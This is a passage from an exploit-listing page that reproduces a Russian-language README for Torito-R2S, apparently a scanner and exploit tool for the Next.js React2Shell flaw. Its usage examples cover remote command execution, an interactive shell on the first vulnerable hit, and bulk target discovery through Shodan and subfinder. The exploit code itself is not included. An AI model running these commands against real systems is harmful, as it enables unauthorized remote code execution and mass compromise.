Sploitus

Exploit for Torito-R2S

kitploit Β· 2026-09-03

Exploit Code

MARKDOWN113 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TORITOIO-TORITO-R2S
# Torito React2Shell Π‘ΠΊΠ°Π½Π΅Ρ€ ΠΈ эксплойт-инструмСнт (CVE-2025-55182 / 66478)

![Torito Logo](https://torito.io/torito.svg)

Π‘ΠΊΠ°Π½Π΅Ρ€, ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Π½Π° ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅, для Ρ†Π΅Π»Π΅ΠΉ Next.js RSC с ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ Ρ€Π΅ΠΆΠΈΠΌΠ°ΠΌΠΈ подтвСрТдСния PoC ΠΈ эксплойта/ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠΈ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° систСмах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΡƒΠΏΠΎΠ»Π½ΠΎΠΌΠΎΡ‡Π΅Π½Ρ‹ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ. 

## ВрСбования

  * Python 3.9+
  * `pip install -r requirements.txt`
  * Π‘ΠΈΠ½Π°Ρ€Π½ΠΈΠΊ Subfinder Π² `PATH` для `--subfinder` (установка Ρ‡Π΅Ρ€Π΅Π· Homebrew `brew install subfinder` ΠΈΠ»ΠΈ Go: `go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest`; ΠΏΡ€ΠΎΠ΅ΠΊΡ‚: https://github.com/projectdiscovery/subfinder)
  * ИспользованиС Shodan Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ `pip install shodan` (ΡƒΠΆΠ΅ Π² requirements) **ΠΈ** ΠΊΠ»ΡŽΡ‡Π°: `export SHODAN_API_KEY=...` с доступными ΠΊΡ€Π΅Π΄ΠΈΡ‚Π°ΠΌΠΈ запросов



## ИспользованиС

root@kitploit:~
    
    
    python3 torito_r2s.py --help
    

## Π€Π»Π°Π³ΠΈ

## ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹

БСзопасная ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° (ΠΎΠ΄Π½Π° Ρ†Π΅Π»ΡŒ)

root@kitploit:~
    
    
    python3 torito_r2s.py -u https://target.com
    

ΠŸΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅ PoC (ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΠΏΠΎΠ±ΠΎΡ‡Π½ΠΎΠΌΡƒ ΠΊΠ°Π½Π°Π»Ρƒ)

root@kitploit:~
    
    
    python3 torito_r2s.py -u https://target.com --confirm
    

Эксплойт с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΉ ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ

root@kitploit:~
    
    
    python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"
    

Π˜Π½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Π°Ρ ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠ° ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΠΎΠΏΠ°Π΄Π°Π½ΠΈΠΈ

root@kitploit:~
    
    
    python3 torito_r2s.py -u https://target.com --shell
    

Π‘ΠΊΠ°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ списка с экспортом

root@kitploit:~
    
    
    python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv
    

Волько Shodan (трСбуСтся ΠΊΠ»ΡŽΡ‡ ΠΈ ΠΊΡ€Π΅Π΄ΠΈΡ‚Ρ‹)

root@kitploit:~
    
    
    export SHODAN_API_KEY=your_key
    python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm
    

Волько Subfinder

root@kitploit:~
    
    
    python3 torito_r2s.py --subfinder target.com --confirm
    

ΠŸΡ€ΠΎΠΊΡΠΈ (Burp/Caido)

root@kitploit:~
    
    
    python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm
    

ΠšΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€ Ρ‡Π΅Ρ€Π΅Π· stdin

root@kitploit:~
    
    
    cat urls.txt | python3 torito_r2s.py --confirm
    

## ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ ΠΊ Π²Ρ‹Π²ΠΎΠ΄Ρƒ

  * Π’Π°Π±Π»ΠΈΡ†Π° ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΡ‚ΠΏΠ΅Ρ‡Π°Ρ‚ΠΎΠΊ (NX/AR), ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ, ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅, эксплойт.
  * ДайдТСсты эксплойта Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΈΠ· base64, ΠΊΠΎΠ³Π΄Π° это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ; ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹ΠΉ Ρ€Π΅ΠΆΠΈΠΌ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΏΡ€Π΅Π²ΡŒΡŽ.
  * JSON/CSV Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ сырой дайдТСст ΠΈ Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Π²Ρ‹Π²ΠΎΠ΄ (Ссли Π΅ΡΡ‚ΡŒ).



## Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ

  * Волько для Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ тСстирования.
  * Запуск ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ β€” Π½Π΅Ρ€Π°Π·Ρ€ΡƒΡˆΠ°ΡŽΡ‰Π°Ρ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°; эксплойт выполняСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с `--exploit-cmd` ΠΈΠ»ΠΈ `--shell`.